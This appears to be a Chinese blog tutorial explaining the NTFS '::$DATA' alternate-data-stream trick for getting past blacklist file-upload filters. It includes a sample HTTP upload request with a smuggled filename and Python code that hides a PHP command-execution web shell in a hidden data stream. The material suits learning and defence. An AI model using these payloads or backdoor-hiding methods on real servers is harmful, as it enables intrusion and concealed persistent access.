::$DATA绕过
在文件上传漏洞中,::$DATA 绕过是一种专门针对 Windows 操作系统(确切地说是 NTFS 文件系统) 环境下的黑名单检测绕过技术。
这种技术利用了 Windows 系统的底层文件命名特性,使得恶意文件能够逃避 Web 应用程序的安全校验,并最终以可执行的脚本格式保存在服务器上。
1. 核心原理:NTFS 交换数据流 (Alternate Data Streams, ADS)
在 Windows 的 NTFS 文件系统中,文件不仅仅包含我们平时看到的数据(即默认数据流),还可以包含“交换数据流”。
- 任何一个文件在 NTFS 中都有一个默认的数据流,它的标识符就是
::$DATA。 - 也就是说,在 Windows 系统的底层,
test.php和test.php::$DATA指向的是同一个文件的同一个数据流。 - 当你尝试在 Windows 中创建或写入一个名为
test.php::$DATA的文件时,Windows 会自动去掉后方的::$DATA,直接生成或写入test.php。
2. 绕过过程是如何发生的?
这类漏洞通常出现在使用黑名单过滤机制的 Web 应用程序中(例如,后端代码只拦截 .php、.asp、.jsp 等后缀)。
攻击步骤:
- 抓包修改: 攻击者首先上传一个名为
shell.php的恶意脚本。 - 附加特征: 通过 Burp Suite 等代理工具拦截上传请求,将文件名修改为
shell.php::$DATA。 - 绕过校验: 服务器端的黑名单检测代码提取文件后缀。它提取到的后缀可能是
.php::$DATA或者直接是::$DATA。因为这个后缀不在黑名单(如.php)中,程序认为文件合法,允许上传。 - 系统保存: 当后端代码(如 PHP 的
move_uploaded_file函数)调用 Windows 底层 API 保存文件时,传入的文件名是shell.php::$DATA。 - 截断生效: Windows 系统接收到请求后,识别出
::$DATA,将其作为数据流标识符处理,最终在磁盘上实际生成的文件名是shell.php。 - 成功利用: 攻击者直接访问
[http://target.com/uploads/shell.php](http://target.com/uploads/shell.php),成功执行 WebShell。
3. 典型的 HTTP 请求示例
攻击者在抓包后,修改 Content-Disposition 中的 filename 字段:
POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXyz123
------WebKitFormBoundaryXyz123
Content-Disposition: form-data; name="file"; filename="webshell.php::$DATA"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundaryXyz123--
4. 漏洞利用的先决条件
要成功利用此漏洞,必须同时满足以下几个条件:
- 目标服务器操作系统必须是 Windows,且使用 NTFS 文件系统。(Linux 系统不吃这一套,如果你在 Linux 上传
shell.php::$DATA,它就会原封不动地生成一个名为shell.php::$DATA的文件,Web 服务器通常不会将其作为 PHP 解析)。 - 基于黑名单的验证机制。如果是严格的白名单机制(只允许
.jpg、.png),::$DATA后缀会直接被白名单拒绝。 - 后端代码没有对上传文件名进行重命名。如果服务器在保存文件时使用了随机生成的字符串(如
UUID.jpg)来重命名文件,这种绕过方法就会失效。 - 代码中未对
::$DATA进行过滤。
拓展
在 Windows 的图形界面(资源管理器)中,你确实无法直接创建一个文件名包含冒号 : 的文件。 Windows 会直接弹窗拦截。我们可以利用python写一个简单的脚本来创建:
file_path = "hacker_test.txt::$DATA"
content = "You have been hacked by Alternate Data Streams!"
with open(file_path, "w", encoding="utf-8") as f:
f.write(content)
print("文件写入执行完毕")
当你运行这段代码后,Python 不会报错(它不像 Windows 资源管理器那样弹窗阻拦你)。
但是,当你打开对应的文件夹时,你会发现: **里面并没有一个叫 hacker_test.txt::$DATA 的文件。**相反,里面赫然躺着一个名为 hacker_test.txt 的文件!
你打开这个 hacker_test.txt,里面写着你刚才输入的文字:“You have been hacked by Alternate Data Streams!”。
再补充一个极其经典的黑客隐藏文件技巧。除了 ::$DATA 代表默认数据流,你还可以自己随便起名字来创建“隐藏的数据流”。
with open("normal.txt", "w") as f:
f.write("I am a normal file.")
with open("normal.txt:hidden_shell.php", "w") as f:
f.write("<?php system($_GET['cmd']); ?>")
print("隐藏流写入完毕!")
- 你在文件夹里只能看到
normal.txt,大小只有几十个字节(“I am a normal file.” 的大小)。 - 无论你怎么刷新,都看不见那个包含 PHP 代码的
hidden_shell.php。 - 但是这个木马代码确实已经依附在
normal.txt身上存在于硬盘里了。这也是早期黑客在 Windows 服务器上隐藏后门(WebShell)的极佳手段。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)